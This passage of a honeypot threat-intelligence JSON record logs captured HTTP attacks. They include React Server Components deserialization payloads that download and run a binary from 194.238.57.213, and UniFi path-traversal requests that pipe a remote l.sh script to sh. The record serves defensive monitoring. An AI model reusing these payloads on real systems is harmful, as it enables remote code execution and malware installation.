974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6720687474703a2f2f3139342e3233382e35372e3231333a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6720687474703a2f2f3139342e3233382e35372e3231333a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e67205c75303032365c7530303236202e2f2e675c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"fbd56091-5bb9-4f1c-b3df-bbf8a848ed91","seq":1,"duration_ms":101,"bytes_in":1611,"bytes_out":78},{"timestamp":"2026-09-14T22:00:16","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1373\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .g http://194.238.57.213:889/agustin51 || curl -k -s -o .g http://194.238.57.213:889/agustin51) \\u0026\\u0026 chmod +x .g \\u0026\\u0026 ./.g\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313337330d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6720687474703a2f2f3139342e3233382e35372e3231333a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6720687474703a2f2f3139342e3233382e35372e3231333a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e67205c75303032365c7530303236202e2f2e675c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"751c6b8c-ccce-4048-8f8d-ae196c32a0d9","seq":1,"duration_ms":101,"bytes_in":1611,"bytes_out":78},{"timestamp":"2026-09-14T19:03:42","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1373\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .g http://194.238.57.213:889/agustin51 || curl -k -s -o .g http://194.238.57.213:889/agustin51) \\u0026\\u0026 chmod +x .g \\u0026\\u0026 ./.g\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313337330d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6720687474703a2f2f3139342e3233382e35372e3231333a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6720687474703a2f2f3139342e3233382e35372e3231333a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e67205c75303032365c7530303236202e2f2e675c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"b23eb4d0-a12b-47a2-a620-5f0398d1e3a1","seq":1,"duration_ms":101,"bytes_in":1612,"bytes_out":78}],"http_methods":[{"method":"POST","count":34},{"method":"GET","count":4}],"distinct_ports_total":5,"top_paths":[{"path":"/","count":35,"ports":3},{"path":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%24%28wget+-qO-+http%3A%2F%2F144.31.215.199%3A889%2Fl.sh%7Csh%3Bbusybox+wget+http%3A%2F%2F144.31.215.199%3A889%2Fl.sh+-O-%7Csh%29","count":2,"ports":1},{"path":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=x%3Bbusybox+wget+http%3A%2F%2F144.31.215.199%3A889%2Fl.sh+-O-%7Csh%3B%23","count":1,"ports":1}],"distinct_paths_total":3,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Connection","Content-Length","Content-Type","Host","Next-Action","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"1373","notable":false},{"name":"Content-Type","value":"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE","notable":true},{"name":"Host","value":"<HONEYPOT>:3001","notable":false},{"name":"Next-Action","value":"x","notable":false},{"name":"User-Agent","value":"Mozilla/5.0","notable":false}],"distinct_sets":3,"events_with_headers":10},"tags":[{"tag_id":"CVE-2026-34908","tag_type":"cve","title":"UniFi OS - Authentication Bypass via Path Traversal (..%2f)","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package","reference_urls":["https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34908","https://bishopfox.com/blog/popping-root-on-unifi-os-server-unauthenticated-rce-chain-detection-analysis","https://nvd.nist.gov/vuln/detail/CVE-2026-34908"]}],"data_as_of":"2026-09-30T17:18:31.237827+00:00"}